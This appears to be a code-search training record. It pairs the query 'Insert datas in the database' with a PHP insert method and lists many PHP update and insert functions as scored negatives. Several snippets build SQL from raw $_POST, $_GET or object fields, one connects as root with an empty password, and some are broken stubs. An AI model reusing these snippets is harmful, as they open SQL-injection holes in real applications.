"protected function update()\n\t{\n\t\t//append ID to fields\n\t\t$query = $this->connection->prepare\n\t\t(\"\n\t\t\tupdate Booth\n\t\t\tset BoothNum = ?\n\t\t\twhere BoothID = ?\n\t\t\");\n\n\t\t$query->execute(array_values($this->fields));\n\n\t}",
"public function update() {\n global $DB;\n $record = array(\n 'sortorder' => $this->sortorder,\n 'criterion' => $this->criterion,\n 'addinfo' => json_encode($this->addinfo)\n );\n if ($this->id) {\n $record['id'] = $this->id;\n $DB->update_record($this->get_table_name(), $record);\n } else {\n $record['instantquizid'] = $this->instantquiz->id;\n $this->id = $DB->insert_record($this->get_table_name(), $record);\n }\n }",
"function update( \\gb\\domain\\DomainObject $object ) {\n //$this->updateStmt->execute( $values );\n }",
"public function update(){\n\t\t$sql = \"update \".self::$tablename.\" set name=\\\"$this->name\\\" where id=$this->id\";\n\t\tExecutor::doit($sql);\n\t}",
"public function update($tables,$data,$pk,$id){\n $this->db->where($pk,$id);\n $this->db->update($tables,$data);\n }",
"public function update($tables,$data,$pk,$id){\n $this->db->where($pk,$id);\n $this->db->update($tables,$data);\n }",
"public function update($tables,$data,$pk,$id){\n $this->db->where($pk,$id);\n $this->db->update($tables,$data);\n }",
"public function update() {\n\t\tTournamentDBClient::update($this);\n\t}",
"public function MyUpdate() {\n //var_dump($rs);\n\n DB::beginTransaction();\n\n\n /*\n DB::transaction(function() {\n $article = Articles::create(array(\n ''\n ));\n });\n */\n }",
"public final function update() {\n\t\t$properties = self::getProperties($this);\n\t\t$columns = array_keys($properties);\n\t\t$values = array_values($properties);\n\n\t\t$setArray = array();\n\t\tfor ($i = 0; $i < count($properties); $i++) {\n\t\t\t$column = $columns[$i];\n\t\t\tif (strcmp($column, $this->primaryField) == 0 ||\n\t\t\t\tin_array($column, $this->uniqueFields)\n\t\t\t) {\n\t\t\t\t// Remove the value for binding\n\t\t\t\tunset($values[$i]);\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\t$setArray[] = $column . \" = ?\";\n\t\t}\n\n\t\t$sql = \"\n\tUPDATE\n\t\t\" . $this->table . \"\n\tSET\n\t\t\" . implode(\", \", $setArray) . \"\n\tWHERE\n\t\t\" . $this->primaryField . \" = ?\n\t;\";\n\t\t// Adds the primary key binding\n\t\t$values[] = $this->{$this->primaryField};\n\n\t\t$db = new MySQL();\n\t\t$statement = $db->prepare($sql);\n\t\t$status = $statement->execute($values);\n\t\t$statement = NULL;\n\n\t\treturn $status;\n\t}",
"function update(){\n\t\t\t\t$servername = \"localhost\";\n\t\t\t\t$username = \"root\";\n\t\t\t\t$password = \"\";\n\t\t\t\t$dbname = \"CS230\";\n\t\t\t\t//Variables for holding entity data\n\t\t\t\t$i = $_POST['i'];\n\t\t\t\t$cr = $_POST['creator'];\n\t\t\t\t$ti = $_POST['title'];\n\t\t\t\t$ty = $_POST['type'];\n\t\t\t\t$id = $_POST['identifier'];\n\t\t\t\t$da = $_POST['date'];\n\t\t\t\t$la = $_POST['language'];\n\t\t\t\t$de = $_POST['description'];\n\t\t\t\t$conn = mysqli_connect($servername, $username, $password, $dbname);\n\t\t\t\t\tif($conn){\n\t\t\t\t\t//echo \"Connection OK\";\n\t\t\t\t\t}else{\n\t\t\t\t\t\tdie(\"The Connection has failed: \" .mysqli_connect_error());\n\t\t\t\t\t}\n\t\t\t\t$sql = \"UPDATE eBook_MetaData SET creator='$cr', title='$ti', type='$ty', identifier='$id', date='$da', language='$la', description='$de' WHERE id='$i'\";\n\t\t\t\t\t$data = mysqli_query($conn, $sql);\n\n\t\t\t\t\tif(!$data){\n\t\t\t\t\t\techo \"error\";\n\t\t\t\t\t}else{\n\t\t\t\t\t\techo \"data updated\";\n\t\t\t\t\t}\t\n\t\t\t\t\n\t\t\t\t$conn = null;\n\t\t\t\t}",
"public function update(){\n\t\techo $sql = \"update \".self::$tablename.\" set title=\\\"$this->title\\\",description=\\\"$this->description\\\",skills=\\\"$this->skills\\\",area_id=$this->area_id,jobtype_id=$this->jobtype_id,jobperiod_id=$this->jobperiod_id,duration=$this->duration,is_public=$this->is_public,is_finished=$this->is_finished,created_at=$this->created_at where id=$this->id\";\n\t\tExecutor::doit($sql);\n\t}",
"public function update($data) {}",
"public function update($data) {}",
"function update($idMedicalRecord) // Implementation \r\n\t\t{\r\n\t\t\t$this->idMedicalRecord = $idMedicalRecord;\r\n\t\t\t$dbo = database::getInstance(); // pass back that database object already created perhaps\r\n\t\t\t$sql = $this->buildQuery('update'); // what we want to do (update records)\r\n\r\n\t\t\t$dbo->doQuery($sql); // execute query statement\r\n\t\t}",
"public function update()\n\t{\n\t\t$mytable = WikiRevision::$table;\n\t\t$buf = \"UPDATE $mytable SET \";\n\t\tfor ($i = 0; $i < count(WikiRevision::$fields); $i++) {\n\t\t\t$buf .= WikiRevision::$fields[$i] . \" = '\" . DBConnection::get()->handle()->real_escape_string($this->data[$fields[$i]]) . \"'\" . ($i == count(WikiRevision::$fields) - 1)?(', '):(' ');\n\t\t}\n\t\t$buf .= \"WHERE rev_id = \" . $data['rev_id'];\n\t\tDBConnection::get()->handle()->query($buf);\n\t}",
"public function updateRecords($data)\n {\n\n $this->dataStore->setData($data);\n }",
"public function updateDb()\n {\n\n // make sure this is a valid new entry\n if ($this->isValid()) {\n\n // check for duplicate\n $vals = sprintf(\"Level = %d\",$this->level);\n $sql = \" update Admins set $vals where Email = '$this->email';\";\n Dbc::getReader()->Exec($sql);\n }\n else\n print \"<br> Invalid entry. STOP! ($sql)<br>\";\n }",
"public function update()\n {\n $ipodates = $this->fetchList();\n foreach ($ipodates as $key => $ipo) {\n $this->updateIPO($ipo[0], $ipo[1]);\n }\n }",
"function updateField() {\n DATABASE::INIT_TABLE($this->database, $this->table);\n $fname = $this->urlParam('fname');\n $fvalue = $this->urlParam('fvalue');\n $id = $this->urlParam('id');\n DATABASE::UPDATE($this->table, [$fname], [$fvalue], $id);\n }",
"public function updateDB()\n {\n\n }",
"protected function update() {\n if ($this->_isLoaded()) {\n $this->db->where('id', $this->id);\n $this->db->update($this->tableName, $this->mapToDatabase());\n } else {\n throw new Exception(\"Model is not loaded\");\n }\n }",
"public function update() {\n // Get the values that are currently in the database\n $curr_vals = $this->read_single();\n\n // Set the values that will be added to the table\n foreach ($curr_vals as $key => $value) {\n // Convert key from the Database's capitalization to\n // this model's attribute capitalization style (all lowercase)\n $local_key = strtolower($key);\n // If user didn't specify property\n if (($this->attr[$local_key] === \"\") || ($this->attr[$local_key] === null)){\n // Then use the value that's already in the database\n $this->attr[$local_key] = $curr_vals[$key];\n }\n }\n\n // Create query\n $query = \"UPDATE \" . $this->table .\n \" SET = \" .\n \" WHERE MID = :mid AND Spot = :spot \";\n\n // Prepare statement\n $stmt = $this->conn->prepare($query);\n\n // Clean the data (reduce malicious SQL injection, etc.)\n foreach ($this->attr as $key => $value) {\n $this->attr[$key] = htmlspecialchars(strip_tags($value));\n }\n \n // Bind the data to a variable for an SQL attribute\n foreach ($this->attr as $key => $value) {\n $stmt->bindValue((\":\" . $key), $value);\n }\n\n // Execute the prepared statement and check for errors in running it\n return $this->runPrepStmtChkErr($stmt);\n }",
"public function commitUpdate();",
"public function actionUpdate() {}",
"public function actionUpdate() {}",
"public function update(){\n\t\t$sql = \"update \".self::$tablename.\" set name=\\\"$this->name\\\",short_name=\\\"$this->short_name\\\",is_active=\\\"$this->is_active\\\" where id=$this->id\";\n\t\tExecutor::doit($sql);\n\t}",
"abstract function update (\\Database\\Query\\Query $query);",
"abstract protected function updateModel();",
"public function update() {\n global $db;\n $this->_preupdate();\n $sql_set = '';\n $data = array();\n foreach($this->_magicProperties as $key=>$value)\n {\n $sql_set .= \"`\".addslashes($key).\"`=\";\n $sql_set .= \"?,\";\n $data[] = $value;\n }\n $sql_set = substr($sql_set, 0, -1);\n\n $query = \"UPDATE {$this->table} SET $sql_set WHERE \".$this->id_field.\"=?;\";\n $data[] = $this->{'get'.$this->id_field}();\n\n $result = $db->query($query,$data);\n $this->_postupdate($result);\n return $result;\n }",
"public function update()\n\t{\n\t\t$this->getModel()->update($this);\n\t}",
"public function update(){\n\t\t$sql = \"update \".self::$tablename.\" set Origen='$this->Origen',Fechap='$this->Fechap',Horap='$this->Horap',Cod_Referencia='$this->Referencia',Nombre_Referencia='$this->Nombre',Ref_Tela='$this->Reftela',Pinta='$this->Pinta',Color='$this->Color',Proceso='$this->Proceso',Ubicacion='$this->Ubicacion',SKU='$this->Sku',Maquina='$this->Maquina',Longitud_Inicial='$this->Longitudini',Longitud_Final='$this->Longitudfin',Peso='$this->Peso',Grados_PFoAT800K='$this->Plancha',Grados_Plato='$this->Plato',Grados_Pie='$this->Pie',Grados_Aire_S='$this->Airesup',Grados_Aire_I='$this->Aireinf',Caudal_Sup='$this->Caudalsup',Caudal_Inf='$this->Caudalinf',Presion='$this->Presion',Velocidad='$this->Velocidad',Velocidad_Sup='$this->Velocidad_Sup',Velocidad_Inf='$this->Velocidad_Inf',Intensidad='$this->Intensidad',Tiempo_Exp='$this->Tiempo',Resultado='$this->Resultado',Dinamometro='$this->Dinamometro',Observaciones1='$this->Observaciones' where id=$this->id\";\n\t\tExecutor::doit($sql);\n\t}",
"public function updateDatabase(){\n $api_response = Http::get(config('urls.api'));\n //Place in database\n $this->postToDatabase($api_response);\n }",
"public function update() {\n $this->connect();\n\n mysqli_multi_query($this->con, $this->sql);\n $this->sql = \"\";\n mysqli_close($this->con);\n $this->getStories();\n }",
"public function update(){\n static::setConnection();\n $table = static::$table;\n $keyColumn = static::$keyColumn;\n $sql = \"UPDATE \".$table.\" SET \";\n foreach($this as $k=>$v){\n $sql .= $k.\" = '\".$v.\"',\";\n }\n $sql = trim($sql, ',');\n $sql .= \" WHERE \".$keyColumn.\" = \".$this->keyColumn;\n mysqli_query(static::$conn, $sql);\n }",
"function update_record () {\n\t\t\n\t\t// validate input\n $valid = true;\n if (empty($this->name)) {\n $this->nameError = 'Please enter Name';\n $valid = false;\n }\n\n if (empty($this->email)) {\n $this->emailError = 'Please enter Email Address';\n $valid = false;\n } \n\n\n if (empty($this->mobile)) {\n $this->mobileError = 'Please enter Mobile Number';\n $valid = false;\n }\n\n // update data\n if ($valid) {\n $pdo = Database::connect();\n $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);\n $sql = \"UPDATE customers SET name = ?, email = ?, mobile = ? WHERE id=\".$_GET['id'];\n $q = $pdo->prepare($sql);\n $q->execute(array($this->name,$this->email,$this->mobile));\n Database::disconnect();\n header(\"Location: customer.php\");\n }\n else {\n $this->update();\n }\n\t\n\t}",
"public function update($tblUpdate);",
"protected function update() {}",
"function adv_update($table, array $data, array $where);",
"private function update(){\n\t\t$q = Queries::update($this->authkey);\n\t\t$this->internalQuery($q);\n\t}",
"protected function saveUpdate()\n {\n }",
"public function update( $sql, $params=array());",
"public function update($entity){ \n //TODO: Implement update record.\n }",
"public function Save()\r\n\t\t{\r\n\t\t\tif ($this->id == -1) {\r\n\t\t\t\tunset($this->columns[\"id\"]);\r\n\t\t\t\t$sqlCol = null;\r\n\t\t\t\t$sqlKey = null;\r\n\t\t\t\tforeach ($this->columns as $column => $value) {\r\n\t\t\t\t\t$data[$column] = $this->$column;\r\n\t\t\t\t\t$sqlCol .= \",\" . $column;\r\n\t\t\t\t\t$sqlKey .= \",:\" . $column;\r\n\t\t\t\t}\r\n\t\t\t\t$sqlCol = ltrim($sqlCol, \",\");\r\n\t\t\t\t$sqlKey = ltrim($sqlKey, \",\");\r\n\t\t\t\t$query = $this->db->prepare(\r\n\t\t\t\t\t\"INSERT INTO \" . $this->table . \" (\" . $sqlCol . \")\r\n\t\t\t\t\t\tVALUES (\" . $sqlKey . \") ;\"\r\n\t\t\t\t);\r\n\t\t\t\t$query->execute($data);\r\n\t\t\t\t\r\n\t\t\t} else {\r\n\t\t\t\t// Sinon faire un update dynamique\r\n\t\t\t\t$sqlSet = null;\r\n\t\t\t\tforeach ($this->columns as $column => $value) {\r\n\t\t\t\t\t$data[$column] = $this->$column;\r\n\t\t\t\t\t$sqlSet[] .= $column . \"=:\" . $column;\r\n\t\t\t\t}\r\n\r\n\t\t\t\t// Suppression de la mise à jour de la date d'update \r\n\t\t\t\t// la mise à jour des dates est maintenant faites en BDD.\r\n\t\t\t\t$query = $this->db->prepare(\r\n\t\t\t\t\t\"UPDATE \" . $this->table . \" SET \r\n\t\t\t\t\t\t\" . implode(\",\", $sqlSet) . \"\r\n\t\t\t\t\t\tWHERE id=:id;\"\r\n\t\t\t\t);\r\n\r\n\t\t\t\t$query->execute($data);\r\n\t\t\t}\r\n\t\t}",
"private function Update() {\n $Update = new Update;\n $Update->ExeUpdate(self::Entity, $this->Data, \"WHERE id = :id\", \"id={$this->Post}\");\n if ($Update->getResult()):\n $this->Error = [\"As informações de <b>contato</b> foram atualizadas com sucesso!\", WS_ACCEPT];\n $this->Result = true;\n endif;\n }",
"function my_update_record( $table_name , $primary_key , $data_id , $datas ){\r\n\r\n\tglobal $connection;\r\n\r\n\t$build_query = \" UPDATE `\".$table_name .\"` SET \" ;\r\n\tforeach( $datas as $field => $value ){\r\n\t\r\n\t\t$build_query .= \"`\".$field .\"` = \". $value . \", \";\r\n\t\r\n\t}\r\n\t\r\n\t$query = rtrim( trim($build_query) , \",\" );\r\n\t\r\n\t$update_query = $query .\" WHERE `\".$primary_key.\"` = \". $data_id ; \r\n \r\n\t$result = my_query( $update_query );\r\n\t \r\n\treturn $connection->affected_rows ; \r\n\r\n}",
"function update()\n {\n global $config;\n $query=file_get_contents(\"sql/updateArticle.sql\"); \n $query =sprintf($query, $config->prefix.self::$table); \n $query = $config->sql->prepare($query);\n $param=array(\n $this->title, $this->content, $this->lang, $this->date,\n $this->cat, $this->id, $this->lang\n );\n $result=$query->execute($param);\n if ($result) {\n return true;\n } else {\n print_r($query->errorInfo());\n }\n \n }",
"public function update( array $params );",
"public function testUpdate()\n {\n $id = $this->tester->grabRecord('common\\models\\Comentario', ['id_receita' => 2]);\n $receita = Comentario::findOne($id);\n $receita->descricao = 'novo Comentario';\n $receita->update();\n $this->tester->seeRecord('common\\models\\Comentario', ['descricao' => 'novo Comentario']);\n }",
"public function update()\n\t{\n\t\ttry\n\t\t{\n\t\t\t$sql = 'UPDATE class SET ';\n\n\t\t\tif(isset($this->_year))\n\t\t\t\t$sql.=' year = :year,';\n\n\t\t\tif(isset($this->_section))\n\t\t\t\t$sql.=' section = :section';\n\t\t\telse\n\t\t\t\t$sql = substr_replace($sql, '', -1);\n\t\t\t\n\t\t\t$sql.=' WHERE id = :id';\n\n \t\t$data = [\n\t\t\t 'id' => $this->_id,\n\t\t\t 'year' => $this->_year,\n\t\t\t 'section' => $this->_section,\n\t\t\t];\n\n\t \t$stmt = $this->db->prepare($sql);\n\t \t$stmt->execute($data);\n\t\t\t$status = $stmt->rowCount();\n\t\t}\n\t\tcatch (Exception $e)\n\t\t{\n\t\t\theader(\"HTTP/1.0 400 Bad request\");\n\t\t\techo $e;\n\t\t}\n\t}",
"public function updateDatabase(){\n\t\t$db = static::getDatabaseConnection();\n\t\t//Get all of the columns in the database table\n\t\t$columns = static::$columns;\n\t\t//Because we dont want the ID to change, remove the ID from the database\n\t\tunset($columns[array_search('id', $columns)]);\n\t\t//If we had a timecreated and timeupdated column, we would unset the timecreated column here\n\n\t\t//Write an Update Query\n\t\t$query = \"UPDATE \" . static::$tableName . \" SET \";\n\t\t$updatecols = [];\n\t\tforeach ($columns as $column){\n\t\t\tarray_push($updatecols, $column . \"=:\" . $column);\n\t\t}\n\t\t$query .= implode(\",\", $updatecols);\n\t\t$query .= \" WHERE id =:id\";\n\t\t$statement = $db->prepare($query);\n\n\t\tforeach(static::$columns as $column){\n\t\t\t//Hash the password\n\t\t\tif($column === 'password'){\n\t\t\t\t$this->$column = password_hash($this->$column, PASSWORD_DEFAULT);\n\t\t\t}\n\t\t\t$statement->bindValue(\":\".$column, $this->$column);\n\t\t}\n\t\t$statement->execute();\n\t}",
"public function update()\n {\n $this->validate($this->rules(), [], $this->attributes);\n $saleData = $this->buildData();\n\n DB::beginTransaction();\n try {\n if (DB::connection('carmu')->table('sale')->where('sale_id', $this->saleId)->exists()) {\n //En primer lugar lo que hago es modificar los datos de la venta\n DB::connection('carmu')->table('sale')\n ->where('sale_id', $this->saleId)\n ->update($saleData);\n\n /**\n * Se descruyen las relaciones de la venta\n */\n DB::connection('carmu')->table('sale_has_category')\n ->where('sale_id', $this->saleId)\n ->delete();\n\n //Se crean nuvamente las relaciones\n DB::connection('carmu')->table('sale_has_category')\n ->insert([\n 'sale_id' => $this->saleId,\n 'category_id' => $this->categoryId\n ]);\n\n $this->emit('updated');\n $this->resetFields();\n DB::commit();\n } else {\n $this->emit('saleNotFound');\n DB::rollBack();\n }\n } catch (\\Throwable $th) {\n dd($th);\n $this->emit('serverError');\n DB::rollBack();\n }\n }",
"public function update() {\r\n\r\n // get database connection\r\n\r\n \r\n \r\n $sql_update = \"update employees SET fname = '$this->firstName', lname = '$this->lastName', email = '$this->email' where id = '$this->id'\";\r\n if ($this->dbc->query($sql_update)) {\r\n\r\n echo \"<p> User Successfully Updated </p>\";\r\n return true;\r\n } else {\r\n\r\n echo \"<p> Could not run query </p>\";\r\n return false;\r\n }\r\n }",
"public function updateDbFromRequest()\n\t\t{\n\t\t\t$this->columnsInfo->data_seek(0);\n\t\t\t$pkExistsInRequest = true;\n\t\t\t$PK = \"1=1\";\n\t\t\t$upd = \"\";\n\t\t\twhile($column = $this->columnsInfo->fetch_assoc())//$info->fetch_row()\n\t\t\t{\n\t\t\t\tif($column[\"COLUMN_KEY\"] == \"PRI\")\n\t\t\t\t{\n\t\t\t\t\tif($pkExistsInRequest = $pkExistsInRequest && isset($_REQUEST[$column[\"COLUMN_NAME\"]]))\n\t\t\t\t\t\t$PK = \"$PK and \".$column[\"COLUMN_NAME\"].\"=\".$this->wherePkValue($_REQUEST[$column[\"COLUMN_NAME\"]], $column[\"DATA_TYPE\"]);\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t$upd = \"$upd, \".$column[\"COLUMN_NAME\"].\"=\".$this->insertColumnValue($_REQUEST[$column[\"COLUMN_NAME\"]], $column[\"IS_NULLABLE\"], $column[\"DATA_TYPE\"], $column[\"CHARACTER_MAXIMUM_LENGTH\"]);\n\t\t\t\t}\n\t\t\t}\n\t\t\tif($pkExistsInRequest)\n\t\t\t{\n\t\t\t\t$query = \"update $this->table set \".substr($upd, 2, strlen($upd)).\" where $PK\";\n\t\t\t\techo \"<br>$query<br>\";\n\t\t\t}\n\t\t\telse\n\t\t\t\techo \"<br>PK dont exists in request<br>\";\n\t\t}",
"public function update():void\n {\n $id = $this->id;\n $first_name = $this->first_name;\n $last_name = $this->last_name;\n $image = $this->image;\n $user_type = $this->user_type;\n $address = $this->address;\n\t\t$phone = $this->phone;\n $this->fetch(\n 'UPDATE user\n SET first_name = ?,\n last_name = ?,\n image = ?,\n user_type = ?,\n address=?,\n phone=?\n WHERE id = ?;',\n [$first_name, $last_name,$image, $user_type,$address ,$phone , $id]\n );\n }",
"public function updateRecord ($sqlString);",
"public function Update()\n\t{\n\t\t$prefix = $this->Db->TablePrefix;\n\t\t$user = GetUser();\n\t\t$userid = $user->userid;\n\t\t$where = 'id = ' . $this->id;\n\n\t\t$surveys_data = $this->data;\n\n\t\tif (isset($surveys_data['_columns'])) {\n\t\t\tunset($surveys_data['_columns']);\n\t\t}\n\n\t\tif (isset($surveys_data['id'])) {\n\t\t\tunset($surveys_data['id']);\n\t\t}\n\n\t\t$surveys_data['updated'] = $this->GetServerTime();\n\n\t\t$this->Db->UpdateQuery('surveys', $surveys_data, $where);\n\t}",
"protected function update()\n {\n $update = 'UPDATE users SET first_name = :first_name, last_name = :last_name,\n email = :email, password = :password WHERE id = :id';\n $statement = self::$dbc->prepare($update);\n foreach ($this->attributes as $key => $value) {\n $statement->bindValue(\":$key\", $value, PDO::PARAM_STR);\n }\n $statement->execute();\n }",
"public function update($modelData) {\n// codigoCliente = ? ,\n// codigoPedido = ?, \n// monto = ? WHERE codigo = ?\"; \n// \n// $stmt = $this->mysql->getStmt($sql);\n// $stmt->bind_param(\"iidi\", $modelData['codigoCliente'], \n// $modelData['codigoPedido'], \n// $modelData['monto'],\n// $modelData['codigo']);\n// $stmt->execute();\n }",
"public function updateRow($row);",
"function update() {\n\n global $conn;\n\n $stmt = $conn->prepare('\n UPDATE Customer SET\n Name = :Name,\n Surname = :Surname,\n Email = :Email,\n Phone = :Phone\n WHERE Customer_id = :Customer_id\n ');\n\n $stmt->bindParam(':Name', $this->Name);\n $stmt->bindParam(':Surname', $this->Surname);\n $stmt->bindParam(':Email', $this->Email);\n $stmt->bindParam(':Phone', $this->Phone);\n $stmt->bindParam(':Customer_id', $this->Customer_id);\n\n return $stmt->execute();\n }",
"function update() {\n\t\n\t \t$sql = \"UPDATE evs_database.evs_identification \n\t \t\t\tSET\tidf_identification_detail_en=?, idf_identification_detail_th=?, idf_pos_id=?, idf_ctg_id=? \n\t \t\t\tWHERE idf_id=?\";\n\t\t\n\t\t$this->db->query($sql, array($this->idf_identification_detail_en, $this->idf_identification_detail_th, $this->idf_pos_id, $this->idf_ctg_id, $this->idf_id));\n\t\t\n\t }",
"public function updateAction() {\n $model = new Application_Model_Compromisso();\n //passo para a model os dados a serem upados\n $model->update($this->_getAllParams());\n //redireciono para a view\n $this->_redirect('compromisso/index');\n }",
"public function update() {\n\n //GETS TASK, DEPENDING ON TASK ID (ID)\n $data=Tasks::find(request('task_id'));\n\n //GETS REQUEST AND REPLACES TASK TITLE & DESCRIPTION\n $data->task=request('task');\n $data->description=request('description');\n\n //SAVES DB\n $data->save();\n\n //REDIRECTS TO TASK VIEW WITH NOTEPADID AS PARAMETER\n return redirect (\"/task/$data->NotepadID\");\n }",
"public function update() {\n $mysqli = Database::getMYSQLI();\n \n $stmt = $mysqli->prepare(\"\n UPDATE lessons\n SET title = ?, subject = ?, description = ?, resources = ?, persons_ID = ?, \n date_created = ?, search_field = ?\n WHERE id = ?\");\n \n $stmt->bind_param('ssssissi', $this->title, $this->subject, $this->description, \n $this->resources, $this->personsID, $this->dateCreated, $this->searchField, \n $this->id);\n\n $stmt->execute();\n $stmt->close();\n $mysqli->close();\n }",
"function UpdateRecord($values)\n {\n $databasename = $this->databasename;\n $tablename = $this->tablename;\n $path = $this->path;\n //dprint_r($_FILES);\n if ( !isset($values[$this->primarykey]) )\n return false;\n $unirecid = $values[$this->primarykey];\n return $this->UpdateRecordBypk($values,$this->primarykey,$values[$this->primarykey]);\n }",
"function updateRecord()\n\t{\n\t\t$data['roleName'] = $this->roleName;\n\t\t$data['roleDesc'] = $this->roleDesc;\n\t\t\n\t $this->db->where('roleID', $this->roleID);\n\t\t$this->db->update('roles', $data); \n\t\t\n\t\tif ($this->db->_error_message())\n\t\t\treturn false;\n\t\telse\n\t\t\treturn true;\n\t}",
"public function update(){\n\t\t$sql = \"update \".self::$tablename.\" set nombre=\\\"$this->name\\\", razon_social=\\\"$this->razon\\\", status=$this->is_active where id_banco=$this->id_banco\";\n\t\tExecutor::doit($sql);\n\t}",
"public function update() {\n $this->connection->update(\n \"ren_change_money\", array(\n \"`change`\" => $this->observer->change,\n \"`year`\" => $this->observer->year,\n \"`idmoney`\" => $this->observer->money->idmoney\n ), array(\"idchangemoney\" => $this->observer->idchangemoney), $this->user->iduser\n );\n }",
"public function update() {\n if (!$this->id) {\n //echo \"No se tiene referencia al ID del objeto a actulizar.\";\n throw new Exception(\"No se tiene referencia al ID del objeto a actulizar.\");\n }\n\n $sql = \"UPDATE contratos SET numero_contrato=:numero_contrato, objeto_contrato=:objeto_contrato, presupuesto=:presupuesto, fecha_estimada_finalizacion=:fecha_estimada_finalizacion WHERE id=:id\";\n $args = array(\n \":id\" => $this->id,\n \":numero_contrato\" => $this->numeroContrato,\n \":objeto_contrato\" => $this->objetoContrato,\n \":presupuesto\" => $this->presupuesto,\n \":fecha_estimada_finalizacion\" => $this->fechaEstimadaFinalizacion,\n );\n $stmt = $this->executeQuery($sql, $args);\n\n return !$stmt ? false : true;\n }",
"public function update(array $data);",
"public function update(array $data);",
"public function update(array $data);",
"public function update()\n\t{\n\t\t$crud = $this->crud->find($_POST['id']);\n\t\t$curd->data([\n\t\t\t'first_name' => $_POST['first_name'],\n\t\t\t'last_name' => $_POST['last_name'],\n\t\t]);\n\t\t$crud->update();\n\t\t$this->redirect('crud');\n\t}"
]
| [
"0.7688124",
"0.7556865",
"0.7512884",
"0.74199337",
"0.74156386",
"0.73591137",
"0.73499215",
"0.72849363",
"0.7266211",
"0.7228507",
"0.71779794",
"0.716905",
"0.7149794",
"0.7134555",
"0.71138984",
"0.70906466",
"0.70562804",
"0.69909656",
"0.6971518",
"0.69563854",
"0.69517744",
"0.6920204",
"0.69034654",
"0.6893493",
"0.6885248",
"0.6879087",
"0.6877238",
"0.68758595",
"0.6843316",
"0.68347436",
"0.6830932",
"0.68270457",
"0.68270457",
"0.68270457",
"0.6820995",
"0.681228",
"0.6808873",
"0.6797421",
"0.67770386",
"0.6774691",
"0.6774691",
"0.6769936",
"0.67634064",
"0.67451847",
"0.6728336",
"0.6722387",
"0.6719505",
"0.671558",
"0.67038304",
"0.6685526",
"0.6675328",
"0.6667646",
"0.6667646",
"0.6659638",
"0.6654242",
"0.66531086",
"0.66521686",
"0.66505986",
"0.66480273",
"0.66460294",
"0.6642447",
"0.6616349",
"0.66144663",
"0.6607039",
"0.6564831",
"0.6551938",
"0.65502787",
"0.655018",
"0.6546685",
"0.65335894",
"0.65262944",
"0.6523506",
"0.651273",
"0.6509561",
"0.6506957",
"0.65013033",
"0.6495355",
"0.6492219",
"0.64831907",
"0.6479206",
"0.6478546",
"0.64738315",
"0.6472512",
"0.64705545",
"0.64676505",
"0.6450536",
"0.64500487",
"0.64458275",
"0.64442027",
"0.6444017",
"0.6439097",
"0.6434924",
"0.64345664",
"0.6431209",
"0.6429843",
"0.64293516",
"0.6426799",
"0.6420392",
"0.6420392",
"0.6420392",
"0.641938"
]
| 0.0 | -1 |
Insert datas in the database | public function insert(array $params): bool
{
$fields = array_keys($params);
$values = join(', ', array_map(function ($field) {
return ":$field";
}, $fields));
$fields = join(', ', array_keys($params));
$statement = $this->pdo->prepare("INSERT INTO $this->table ($fields) VALUES ($values)");
return $statement->execute($params);
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function insert($data);",
"public function insert($data)\r\n {\r\n \r\n }",
"public function insert() {\n $conexion = StorianDB::connectDB();\n $insercion = \"INSERT INTO cuento (titulo, contenido, autor) VALUES (\\\"\".$this->titulo.\"\\\", \\\"\".$this->contenido.\"\\\", \\\"\".$this->autor.\"\\\")\";\n $conexion->exec($insercion);\n }",
"public function insert()\n {\n $db = new Database();\n $db->insert(\n \"INSERT INTO position (poste) VALUES ( ? )\",\n [$this->poste]\n );\n }",
"public function insert(){\n $bd = Database::getInstance();\n $bd->query(\"INSERT INTO canciones(artista, ncancion, idGen, album) VALUES (:art, :nca, :gen, :alb);\",\n [\":art\"=>$this->artista,\n \":gen\"=>$this->idGen,\n \":alb\"=>$this->album,\n \":nca\"=>$this->ncancion]);\n }",
"public function insertDatabase();",
"public function insert(){\n\t\t$sql = new Sql();\n\t\t$results = $sql->select(\"CALL sp_insert_usuario(:LOGIN, :PASS)\", array(\n\t\t\t':LOGIN'=>$this->getDeslogin(),\n\t\t\t':PASS'=>$this->getDessenha()\n\t\t));\n\n\t\tif (isset($results[0])) {\n\t\t\t\n\t\t\t$this->setData($results[0]);\n\n\t\t}\n\t}",
"private function insert()\n {\n $this->query = $this->pdo->prepare(\n 'INSERT INTO ' . $this->table . ' (' .\n implode(', ', array_keys($this->data)) .\n ' ) VALUES (:' .\n implode(', :', array_keys($this->data)) .\n ')'\n );\n }",
"protected function insert()\n\t{\n\t\t$this->autofill();\n\n\t\tparent::insert();\n\n\t}",
"protected function saveInsert()\n {\n }",
"public function insert()\n {\n $sql = new Sql();\n $result = $sql->select(\"CALL sp_usuario_insert(:LOGIN, :PASSWORD)\", array(\n \":LOGIN\"=>$this->getDeslogin(),\n \":PASSWORD\"=>$this->getDessenha()\n ));\n\n if(count($result) > 0){\n $row = $result[0];\n $this->setIdusuario($row['idusuario']);\n $this->setDeslogin($row['deslogin']);\n $this->setDessenha($row['dessenha']);\n $this->setDataCadastro(new DateTime($row['dataCadastro']));\n }\n }",
"public function Insert(){\n //Instancia conexao com o PDO\n $pdo = Conecta::getPdo();\n //Cria o sql passa os parametros e etc\n $sql = \"INSERT INTO $this->table (idcidade, cidade) VALUES (?, ?)\";\n $consulta = $pdo->prepare($sql);\n $consulta ->bindValue(1, $this->getIdCidade());\n $consulta ->bindValue(2, $this->getCidade());\n $consulta ->execute();\n $last = $pdo->lastInsertId();\n }",
"public function insert() {\n\t\t$db = self::getDB();\n\t\t$sql = \"INSERT INTO posts\n\t\t\t\t\t(nome, conteudo, fk_idUsuario, fk_idTopico)\n\t\t\t\tVALUES\n\t\t\t\t\t(:nome, :conteudo, :fk_idUsuario, :fk_idTopico)\";\n\t\t$query = $db->prepare($sql);\n\t\t$query->execute([\n\t\t\t':nome' => $this->getNome(),\n\t\t\t':conteudo' => $this->getConteudo(),\n\t\t\t':fk_idUsuario' => $this->getFkIdUsuario(),\n\t\t\t':fk_idTopico' => $this->getFkIdTopico()\n\t\t]);\n\t\t$this->idPost = $db->lastInsertId();\n\t}",
"public function insert($data){\n // TODO: Modif bagian ini\n $this->db->insert('pokemon', $data);\n }",
"function insert($data)\n {\n $this->db->insert($this->table, $data);\n }",
